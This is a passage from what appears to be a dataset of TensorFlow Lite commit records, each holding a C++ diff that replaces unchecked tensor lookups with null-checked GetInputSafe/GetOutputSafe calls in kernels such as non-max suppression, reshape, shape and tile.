=\n- GetInput(context, node, kInputTensorMaxOutputSize);\n+ const TfLiteTensor* input_scores;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorScores, &input_scores));\n+ const TfLiteTensor* input_max_output_size;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorMaxOutputSize,\n+ &input_max_output_size));\n const int max_output_size_value = *GetTensorData(input_max_output_size);\n TF_LITE_ENSURE(context, (max_output_size_value >= 0));\n const bool is_max_output_size_const = IsConstantTensor(input_max_output_size);\n- const TfLiteTensor* input_iou_threshold =\n- GetInput(context, node, kInputTensorIouThreshold);\n+ const TfLiteTensor* input_iou_threshold;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorIouThreshold,\n+ &input_iou_threshold));\n const float iou_threshold = *GetTensorData(input_iou_threshold);\n- const TfLiteTensor* input_score_threshold =\n- GetInput(context, node, kInputTensorScoreThreshold);\n+ const TfLiteTensor* input_score_threshold;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorScoreThreshold,\n+ &input_score_threshold));\n const float score_threshold = *GetTensorData(input_score_threshold);\n \n TfLiteTensor* output_selected_indices = nullptr;\n TfLiteTensor* output_selected_scores = nullptr;\n TfLiteTensor* output_num_selected_indices = nullptr;\n \n if (is_soft_nms) {\n- const TfLiteTensor* input_sigma =\n- GetInput(context, node, kInputTensorSigma);\n+ const TfLiteTensor* input_sigma;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorSigma, &input_sigma));\n const float soft_nms_sigma = *GetTensorData(input_sigma);\n if (soft_nms_sigma < 0) {\n context->ReportError(context, \"Invalid sigma value for soft NMS: %f\",\n soft_nms_sigma);\n return kTfLiteError;\n }\n \n- output_selected_indices =\n- GetOutput(context, node, kSoftNMSOutputTensorSelectedIndices);\n- output_selected_scores =\n- GetOutput(context, node, kSoftNMSOutputTensorSelectedScores);\n- output_num_selected_indices =\n- GetOutput(context, node, kSoftNMSOutputTensorNumSelectedIndices);\n+ TF_LITE_ENSURE_OK(\n+ context,\n+ GetOutputSafe(context, node, kSoftNMSOutputTensorSelectedIndices,\n+ &output_selected_indices));\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,\n+ kSoftNMSOutputTensorSelectedScores,\n+ &output_selected_scores));\n+ TF_LITE_ENSURE_OK(\n+ context,\n+ GetOutputSafe(context, node, kSoftNMSOutputTensorNumSelectedIndices,\n+ &output_num_selected_indices));\n if (!is_max_output_size_const) {\n SetTensorSizes(context, output_selected_indices, {max_output_size_value});\n SetTensorSizes(context, output_selected_scores, {max_output_size_value});\n@@ -228,10 +265,12 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n max_output_size_value, *output_num_selected_indices->data.i32,\n output_selected_indices->data.i32, output_selected_scores->data.f);\n } else {\n- output_selected_indices =\n- GetOutput(context, node, kNMSOutputTensorSelectedIndices);\n- output_num_selected_indices =\n- GetOutput(context, node, kNMSOutputTensorNumSelectedIndices);\n+ TF_LITE_ENSURE_OK(\n+ context, GetOutputSafe(context, node, kNMSOutputTensorSelectedIndices,\n+ &output_selected_indices));\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,\n+ kNMSOutputTensorNumSelectedIndices,\n+ &output_num_selected_indices));\n if (!is_max_output_size_const) {\n SetTensorSizes(context, output_selected_indices, {max_output_size_value});\n }", "sections": [{"section": "@@ -79,20 +79,25 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n // Boxes & Scores.\n- const TfLiteTensor* input_boxes = GetInput(context, node, kInputTensorBoxes);\n+ const TfLiteTensor* input_boxes;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorBoxes, &input_boxes));\n TF_LITE_ENSURE_EQ(context, input_boxes->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_boxes), 2);\n TF_LITE_ENSURE_EQ(context, SizeOfDimension(input_boxes, 1), 4);\n const int num_boxes = SizeOfDimension(input_boxes, 0);\n- const TfLiteTensor* input_scores =\n- GetInput(context, node, kInputTensorScores);\n+ const TfLiteTensor* input_scores;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorScores, &input_scores));\n TF_LITE_ENSURE_EQ(context, input_scores->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_scores), 1);\n TF_LITE_ENSURE_EQ(context, num_boxes, SizeOfDimension(input_scores, 0));\n \n // Max output size.\n- const TfLiteTensor* input_max_output_size =\n- GetInput(context, node, kInputTensorMaxOutputSize);\n+ const TfLiteTensor* input_max_output_size;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorMaxOutputSize,\n+ &input_max_output_size));\n TF_LITE_ENSURE_EQ(context, input_max_output_size->type, kTfLiteInt32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_max_output_size), 0);\n const bool is_max_output_size_const = IsConstantTensor(input_max_output_size);\n", "related": false}, {"section": "@@ -103,30 +108,43 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n // IoU & Score thresholds.\n- const TfLiteTensor* input_iou_threshold =\n- GetInput(context, node, kInputTensorIouThreshold);\n+ const TfLiteTensor* input_iou_threshold;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorIouThreshold,\n+ &input_iou_threshold));\n TF_LITE_ENSURE_EQ(context, input_iou_threshold->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_iou_threshold), 0);\n- const TfLiteTensor* input_score_threshold =\n- GetInput(context, node, kInputTensorScoreThreshold);\n+ const TfLiteTensor* input_score_threshold;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorScoreThreshold,\n+ &input_score_threshold));\n TF_LITE_ENSURE_EQ(context, input_iou_threshold->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_score_threshold), 0);\n \n if (is_soft_nms) {\n- const TfLiteTensor* input_sigma =\n- GetInput(context, node, kInputTensorSigma);\n+ const TfLiteTensor* input_sigma;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorSigma, &input_sigma));\n TF_LITE_ENSURE_EQ(context, input_sigma->type, kTfLiteFloat32);\n TF_LITE_ENSURE_EQ(context, NumDimensions(input_sigma), 0);\n \n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 3);\n- TfLiteTensor* output_selected_indices =\n- GetOutput(context, node, kSoftNMSOutputTensorSelectedIndices);\n+ TfLiteTensor* output_selected_indices;\n+ TF_LITE_ENSURE_OK(\n+ context,\n+ GetOutputSafe(context, node, kSoftNMSOutputTensorSelectedIndices,\n+ &output_selected_indices));\n output_selected_indices->type = kTfLiteInt32;\n- TfLiteTensor* output_selected_scores =\n- GetOutput(context, node, kSoftNMSOutputTensorSelectedScores);\n+ TfLiteTensor* output_selected_scores;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,\n+ kSoftNMSOutputTensorSelectedScores,\n+ &output_selected_scores));\n output_selected_scores->type = kTfLiteFloat32;\n- TfLiteTensor* output_num_selected_indices =\n- GetOutput(context, node, kSoftNMSOutputTensorNumSelectedIndices);\n+ TfLiteTensor* output_num_selected_indices;\n+ TF_LITE_ENSURE_OK(\n+ context,\n+ GetOutputSafe(context, node, kSoftNMSOutputTensorNumSelectedIndices,\n+ &output_num_selected_indices));\n output_num_selected_indices->type = kTfLiteInt32;\n SetTensorSizes(context, output_num_selected_indices, {});\n \n", "related": false}, {"section": "@@ -139,11 +157,15 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n } else {\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 2);\n- TfLiteTensor* output_selected_indices =\n- GetOutput(context, node, kNMSOutputTensorSelectedIndices);\n+ TfLiteTensor* output_selected_indices;\n+ TF_LITE_ENSURE_OK(\n+ context, GetOutputSafe(context, node, kNMSOutputTensorSelectedIndices,\n+ &output_selected_indices));\n output_selected_indices->type = kTfLiteInt32;\n- TfLiteTensor* output_num_selected_indices =\n- GetOutput(context, node, kNMSOutputTensorNumSelectedIndices);\n+ TfLiteTensor* output_num_selected_indices;\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,\n+ kNMSOutputTensorNumSelectedIndices,\n+ &output_num_selected_indices));\n output_num_selected_indices->type = kTfLiteInt32;\n SetTensorSizes(context, output_num_selected_indices, {});\n \n", "related": false}, {"section": "@@ -179,42 +201,57 @@ void ResetUnusedElementsToZeroes(const int max_output_size,\n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n const bool is_soft_nms = NumInputs(node) == 6;\n \n- const TfLiteTensor* input_boxes = GetInput(context, node, kInputTensorBoxes);\n+ const TfLiteTensor* input_boxes;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorBoxes, &input_boxes));\n const int num_boxes = SizeOfDimension(input_boxes, 0);\n- const TfLiteTensor* input_scores =\n- GetInput(context, node, kInputTensorScores);\n- const TfLiteTensor* input_max_output_size =\n- GetInput(context, node, kInputTensorMaxOutputSize);\n+ const TfLiteTensor* input_scores;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorScores, &input_scores));\n+ const TfLiteTensor* input_max_output_size;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorMaxOutputSize,\n+ &input_max_output_size));\n const int max_output_size_value = *GetTensorData(input_max_output_size);\n TF_LITE_ENSURE(context, (max_output_size_value >= 0));\n const bool is_max_output_size_const = IsConstantTensor(input_max_output_size);\n- const TfLiteTensor* input_iou_threshold =\n- GetInput(context, node, kInputTensorIouThreshold);\n+ const TfLiteTensor* input_iou_threshold;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorIouThreshold,\n+ &input_iou_threshold));\n const float iou_threshold = *GetTensorData(input_iou_threshold);\n- const TfLiteTensor* input_score_threshold =\n- GetInput(context, node, kInputTensorScoreThreshold);\n+ const TfLiteTensor* input_score_threshold;\n+ TF_LITE_ENSURE_OK(context,\n+ GetInputSafe(context, node, kInputTensorScoreThreshold,\n+ &input_score_threshold));\n const float score_threshold = *GetTensorData(input_score_threshold);\n \n TfLiteTensor* output_selected_indices = nullptr;\n TfLiteTensor* output_selected_scores = nullptr;\n TfLiteTensor* output_num_selected_indices = nullptr;\n \n if (is_soft_nms) {\n- const TfLiteTensor* input_sigma =\n- GetInput(context, node, kInputTensorSigma);\n+ const TfLiteTensor* input_sigma;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputTensorSigma, &input_sigma));\n const float soft_nms_sigma = *GetTensorData(input_sigma);\n if (soft_nms_sigma < 0) {\n context->ReportError(context, \"Invalid sigma value for soft NMS: %f\",\n soft_nms_sigma);\n return kTfLiteError;\n }\n \n- output_selected_indices =\n- GetOutput(context, node, kSoftNMSOutputTensorSelectedIndices);\n- output_selected_scores =\n- GetOutput(context, node, kSoftNMSOutputTensorSelectedScores);\n- output_num_selected_indices =\n- GetOutput(context, node, kSoftNMSOutputTensorNumSelectedIndices);\n+ TF_LITE_ENSURE_OK(\n+ context,\n+ GetOutputSafe(context, node, kSoftNMSOutputTensorSelectedIndices,\n+ &output_selected_indices));\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,\n+ kSoftNMSOutputTensorSelectedScores,\n+ &output_selected_scores));\n+ TF_LITE_ENSURE_OK(\n+ context,\n+ GetOutputSafe(context, node, kSoftNMSOutputTensorNumSelectedIndices,\n+ &output_num_selected_indices));\n if (!is_max_output_size_const) {\n SetTensorSizes(context, output_selected_indices, {max_output_size_value});\n SetTensorSizes(context, output_selected_scores, {max_output_size_value});\n", "related": false}, {"section": "@@ -228,10 +265,12 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n max_output_size_value, *output_num_selected_indices->data.i32,\n output_selected_indices->data.i32, output_selected_scores->data.f);\n } else {\n- output_selected_indices =\n- GetOutput(context, node, kNMSOutputTensorSelectedIndices);\n- output_num_selected_indices =\n- GetOutput(context, node, kNMSOutputTensorNumSelectedIndices);\n+ TF_LITE_ENSURE_OK(\n+ context, GetOutputSafe(context, node, kNMSOutputTensorSelectedIndices,\n+ &output_selected_indices));\n+ TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,\n+ kNMSOutputTensorNumSelectedIndices,\n+ &output_num_selected_indices));\n if (!is_max_output_size_const) {\n SetTensorSizes(context, output_selected_indices, {max_output_size_value});\n }", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/reshape.cc", "commit_id": "1970c2158b1ffa416d159d03c3370b9a462aee35", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56", "patch": "@@ -38,8 +38,11 @@ TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {\n std::unique_ptr\n scoped_output_shape(output_shape, TfLiteIntArrayFree);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n // Tensorflow's Reshape allows one of the shape components to have the\n // special -1 value, meaning it will be calculated automatically based on the\n@@ -70,6 +73,7 @@ TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {\n inline TfLiteIntArray* GetOutputShapeFromTensor(TfLiteContext* context,\n TfLiteNode* node) {\n const TfLiteTensor* shape = GetInput(context, node, kShapeTensor);\n+ if (shape == nullptr) return nullptr;\n \n TfLiteIntArray* output_shape = TfLiteIntArrayCreate(shape->dims->data[0]);\n for (int i = 0; i < output_shape->size; ++i) {\n@@ -103,7 +107,8 @@ inline TfLiteIntArray* GetOutputShapeFromParam(TfLiteContext* context,\n // Check if the shape tensor is valid. Shapes should be int32 vectors.\n inline bool ShapeIsVector(TfLiteContext* context, TfLiteNode* node) {\n const TfLiteTensor* shape = GetInput(context, node, kShapeTensor);\n- return (shape->dims->size == 1 && shape->type == kTfLiteInt32);\n+ return (shape != nullptr && shape->dims->size == 1 &&\n+ shape->type == kTfLiteInt32);\n }\n \n TfLiteIntArray* GetOutputShape(TfLiteContext* context, TfLiteNode* node) {\n@@ -122,7 +127,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n // calculate their shapes now. String tensors don't benefit from having their\n // shapes precalculated because the actual memory can only be allocated after\n // we know all the content.\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n if (output->type != kTfLiteString) {\n if (NumInputs(node) == 1 ||\n IsConstantTensor(GetInput(context, node, kShapeTensor))) {\n@@ -135,8 +142,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n // There are two ways in which the 'output' can be made dynamic: it could be\n // a string tensor, or its shape cannot be calculated during Prepare(). In", "sections": [{"section": "@@ -38,8 +38,11 @@ TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {\n std::unique_ptr\n scoped_output_shape(output_shape, TfLiteIntArrayFree);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n // Tensorflow's Reshape allows one of the shape components to have the\n // special -1 value, meaning it will be calculated automatically based on the\n", "related": false}, {"section": "@@ -70,6 +73,7 @@ TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {\n inline TfLiteIntArray* GetOutputShapeFromTensor(TfLiteContext* context,\n TfLiteNode* node) {\n const TfLiteTensor* shape = GetInput(context, node, kShapeTensor);\n+ if (shape == nullptr) return nullptr;\n \n TfLiteIntArray* output_shape = TfLiteIntArrayCreate(shape->dims->data[0]);\n for (int i = 0; i < output_shape->size; ++i) {\n", "related": false}, {"section": "@@ -103,7 +107,8 @@ inline TfLiteIntArray* GetOutputShapeFromParam(TfLiteContext* context,\n // Check if the shape tensor is valid. Shapes should be int32 vectors.\n inline bool ShapeIsVector(TfLiteContext* context, TfLiteNode* node) {\n const TfLiteTensor* shape = GetInput(context, node, kShapeTensor);\n- return (shape->dims->size == 1 && shape->type == kTfLiteInt32);\n+ return (shape != nullptr && shape->dims->size == 1 &&\n+ shape->type == kTfLiteInt32);\n }\n \n TfLiteIntArray* GetOutputShape(TfLiteContext* context, TfLiteNode* node) {\n", "related": false}, {"section": "@@ -122,7 +127,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n // calculate their shapes now. String tensors don't benefit from having their\n // shapes precalculated because the actual memory can only be allocated after\n // we know all the content.\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n if (output->type != kTfLiteString) {\n if (NumInputs(node) == 1 ||\n IsConstantTensor(GetInput(context, node, kShapeTensor))) {\n", "related": false}, {"section": "@@ -135,8 +142,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n // There are two ways in which the 'output' can be made dynamic: it could be\n // a string tensor, or its shape cannot be calculated during Prepare(). In", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/shape.cc", "commit_id": "1970c2158b1ffa416d159d03c3370b9a462aee35", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56", "patch": "@@ -40,8 +40,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n auto* params = reinterpret_cast(node->builtin_data);\n switch (params->out_type) {", "sections": [{"section": "@@ -40,8 +40,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 1);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n \n auto* params = reinterpret_cast(node->builtin_data);\n switch (params->out_type) {", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/kernels/tile.cc", "commit_id": "1970c2158b1ffa416d159d03c3370b9a462aee35", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332521299\nChange-Id: I29af455bcb48d0b92e58132d951a3badbd772d56", "patch": "@@ -49,9 +49,14 @@ TfLiteIntArray* MultiplyShapeDims(const TfLiteIntArray& shape,\n }\n \n TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n- const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n+ const TfLiteTensor* multipliers;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputMultipliers, &multipliers));\n \n const int num_dimensions = NumDimensions(input);\n const int num_multipliers = NumElements(multipliers);\n@@ -208,12 +213,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n \n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);\n \n- const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);\n+ const TfLiteTensor* multipliers;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputMultipliers, &multipliers));\n // Only int32 and int64 multipliers type is supported.\n if (multipliers->type != kTfLiteInt32 && multipliers->type != kTfLiteInt64) {\n context->ReportError(context,\n@@ -231,9 +241,14 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n- const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n+ const TfLiteTensor* multipliers;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputMultipliers, &multipliers));\n \n if (IsDynamicTensor(output)) {\n TF_LITE_ENSURE_OK(context, ResizeOutput(context, node));", "sections": [{"section": "@@ -49,9 +49,14 @@ TfLiteIntArray* MultiplyShapeDims(const TfLiteIntArray& shape,\n }\n \n TfLiteStatus ResizeOutput(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n- const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n+ const TfLiteTensor* multipliers;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputMultipliers, &multipliers));\n \n const int num_dimensions = NumDimensions(input);\n const int num_multipliers = NumElements(multipliers);\n", "related": false}, {"section": "@@ -208,12 +213,17 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n TF_LITE_ENSURE_EQ(context, NumInputs(node), 2);\n TF_LITE_ENSURE_EQ(context, NumOutputs(node), 1);\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n \n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n TF_LITE_ENSURE_TYPES_EQ(context, input->type, output->type);\n \n- const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);\n+ const TfLiteTensor* multipliers;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputMultipliers, &multipliers));\n // Only int32 and int64 multipliers type is supported.\n if (multipliers->type != kTfLiteInt32 && multipliers->type != kTfLiteInt64) {\n context->ReportError(context,\n", "related": false}, {"section": "@@ -231,9 +241,14 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {\n }\n \n TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {\n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n- TfLiteTensor* output = GetOutput(context, node, kOutputTensor);\n- const TfLiteTensor* multipliers = GetInput(context, node, kInputMultipliers);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n+ TfLiteTensor* output;\n+ TF_LITE_ENSURE_OK(context,\n+ GetOutputSafe(context, node, kOutputTensor, &output));\n+ const TfLiteTensor* multipliers;\n+ TF_LITE_ENSURE_OK(\n+ context, GetInputSafe(context, node, kInputMultipliers, &multipliers));\n \n if (IsDynamicTensor(output)) {\n TF_LITE_ENSURE_OK(context, ResizeOutput(context, node));", "related": false}]} +{"owner": "tensorflow", "repo": "tensorflow", "language": "C", "file_name": "tensorflow/lite/micro/test_helpers.cc", "commit_id": "cd31fd0ce0449a9e0f83dcad08d6ed7f1d6bef3f", "commit_message": "[tflite]: Insert `nullptr` checks when obtaining tensors.\n\nAs part of ongoing refactoring, `tflite::GetInput`, `tflite::GetOutput`, `tflite::GetTemporary` and `tflite::GetIntermediates` will return `nullptr` in some cases. Hence, we insert the `nullptr` checks on all usages.\n\nWe also insert `nullptr` checks on usages of `tflite::GetVariableInput` and `tflite::GetOptionalInputTensor` but only in the cases where there is no obvious check that `nullptr` is acceptable (that is, we only insert the check for the output of these two functions if the tensor is accessed as if it is always not `nullptr`).\n\nPiperOrigin-RevId: 332518902\nChange-Id: I92eb164a6101ac3cca66090061a9b56a97288236", "patch": "@@ -601,7 +601,8 @@ TfLiteStatus SimpleStatefulOp::Prepare(TfLiteContext* context,\n OpData* data = reinterpret_cast(node->user_data);\n \n // Make sure that the input is in uint8_t with at least 1 data entry.\n- const TfLiteTensor* input = tflite::GetInput(context, node, kInputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n if (input->type != kTfLiteUInt8) return kTfLiteError;\n if (NumElements(input->dims) == 0) return kTfLiteError;\n \n@@ -622,7 +623,8 @@ TfLiteStatus SimpleStatefulOp::Invoke(TfLiteContext* context,\n OpData* data = reinterpret_cast(node->user_data);\n *data->invoke_count += 1;\n \n- const TfLiteTensor* input = GetInput(context, node, kInputTensor);\n+ const TfLiteTensor* input;\n+ TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));\n const uint8_t* input_data = 